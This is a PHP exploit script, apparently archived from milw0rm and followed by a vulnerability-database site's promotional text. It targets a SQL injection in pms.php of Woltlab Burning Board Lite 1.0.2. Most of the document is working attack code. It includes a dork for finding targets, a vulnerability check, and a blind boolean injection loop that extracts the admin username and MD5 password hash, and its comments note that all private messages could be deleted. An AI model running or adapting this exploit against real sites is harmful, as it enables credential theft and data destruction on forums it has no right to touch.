<?php
print_r('
-------------------------------------------------------------------------------
Woltlab Burning Board Lite <= 1.0.2pl3e pms.php / sql injection exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org
dork: "Powered by Burning Board" -exploit -dork -johnny
version specific:
"Powered by Burning Board Lite 1.0.2" "2001-2004 WoltLab GmbH"
-------------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
against MySQL >= 4.1
*/
if ($argc<6) {
print_r('
-------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path user pass action OPTIONS
host: target server (ip/hostname)
path: path to wbblite
user/pass: valid user credentials
action: 1 vulnerability check
2 disclose admin credentials
Options:
-p[port]: specify a port other than 80
-P[ip:port]: " a proxy
Example:
php '.$argv[0].' localhost /wbblite/ rgod pass 1 -P1.1.1.1:80
php '.$argv[0].' localhost /wbblite/ rgod pass 2 ls -la -p81
-------------------------------------------------------------------------------
');
die;
}
/*
short explaination:
pms.php, near lines 140-160, sql injection in $_POST['pmid'] argument:
...
if(isset($_POST['action']) && $_POST['action']=="delmark") {
if($_POST['pmid'] && count($_POST['pmid'])) $pmids=implode(',',$_POST['pmid']);
else $pmids="";
if($pmids) {
if($_POST['folderid']=="outbox") {
$db->query("DELETE FROM bb".$n."_privatemessage WHERE senderid='$wbbuserdata[userid]' AND deletepm=1 AND privatemessageid IN (".addslashes($pmids).")");
$db->unbuffered_query("UPDATE bb".$n."_privatemessage SET deletepm=2 WHERE senderid='$wbbuserdata[userid]' AND privatemessageid IN (".addslashes($pmids).")",1);
}
else {
$db->query("DELETE FROM bb".$n."_privatemessage WHERE recipientid='$wbbuserdata[userid]' AND deletepm=2 AND privatemessageid IN (".addslashes($pmids).")");
$db->unbuffered_query("UPDATE bb".$n."_privatemessage SET deletepm=1 WHERE recipientid='$wbbuserdata[userid]' AND privatemessageid IN (".addslashes($pmids).")",1);
}
}
header("Location: pms.php?folderid=$folderid&sid=$session[hash]");
exit();
}
...
we have an addslashes() but no quotes...
you can ask true/false questions to the database by deleting / sending private messages to yourself...
this one discloses the admin username/md5 hash pair
note : if working, this one will preserve private messages with a subject other than 'sun-tzu'
but... modifying queries an attacker can easily delete all forum private messages
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$action=(int)$argv[5];
$port=80;
$proxy="";
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if (($action!=1) and ($action!=2)) {echo "wrong action...";}
$data ="l_username=$user&l_password=$pass&send=send";
$packet ="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".trim($temp2[0]);
if ($cookie[strlen($cookie)-1]!=";"){$cookie.=";";}
}
if ((!eregi("userpassword",$cookie)) | (!eregi("userid",$cookie)))
{die("failed to login...you need valid user credentials to to do this...");}
else {
//echo "cookie -> ".$cookie."\n\n";
}
$temp=explode("index.php?sid=",$html);
$temp2=explode("\"",$temp[1]);
$sid=trim($temp2[0]);
//echo "sid -> ".$sid."\n\n";
if ($action==1)
{
$sql="suntzu/*";
$sql=urlencode($sql);
$data ="action=delmark";
$data.="&pmid[0]=$sql";
$data.="&folderid=outbox";
$packet ="POST ".$p."pms.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("You have an error in your SQL syntax",$html))
{
die("not vulnerable...\n");
}
else
{
echo "vulnerable...\n";
}
}
elseif ($action==2)
{
function send_pm()
{
global $user,$sid,$p,$host,$cookie;
$data ="recipient=$user";
$data.="&subject=sun-tzu";
$data.="&iconid=0";
$data.="&mode=0";
$data.="&message=suntzoi";
$data.="&parseurl=1";
$data.="&showsignature=1";
$data.="&savecopy=1";
$data.="&pmid=";
$data.="&send=send";
$data.="&action=newpm";
$data.="&sid=$sid";
$data.="&submit=Send+Message";
$packet ="POST ".$p."pms.php HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
}
function check_pm()
{ global $p,$host,$cookie,$html;
$packet ="GET ".$p."pms.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("sun-tzu",$html)){return true;}
else {return false;}
}
function my_encode($my_string)
{
$encoded="CHAR(";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.=ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=",";}
}
return $encoded;
}
send_pm();
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
echo "md5 hash -> ";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
//original query;
//DELETE FROM bb1_privatemessage WHERE senderid='1' AND deletepm=1 AND privatemesageid IN ([injection here])
$sql="9999999)/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),1,0))/**/FROM/**/bb1_users/**/LIMIT/**/1)/**/AND/**/subject=".my_encode("sun-tzu")."/*";
$sql=urlencode($sql);
$data ="action=delmark";
$data.="&pmid[0]=$sql";
$data.="&folderid=outbox";
$packet ="POST ".$p."pms.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error or wrong MySQL version...");}
sleep(1);
if (!check_pm()) {$password.=chr($i);echo chr($i);send_pm();break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
echo "\n";
$j=1;$admin="";
echo "admin user -> ";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="9999999)/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),1,0))/**/FROM/**/bb1_users/**/LIMIT/**/1)/**/AND/**/subject=".my_encode("sun-tzu")."/*";
$sql=urlencode($sql);
$data ="action=delmark";
$data.="&pmid[0]=$sql";
$data.="&folderid=outbox";
$packet ="POST ".$p."pms.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
if (!check_pm()) {$admin.=chr($i);echo chr($i);send_pm();break;}
if ($i==255) {die("\nExploit failed...");
}
}
$j++;
}
echo "\n";
}
?>
# milw0rm.com [2007-02-03]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation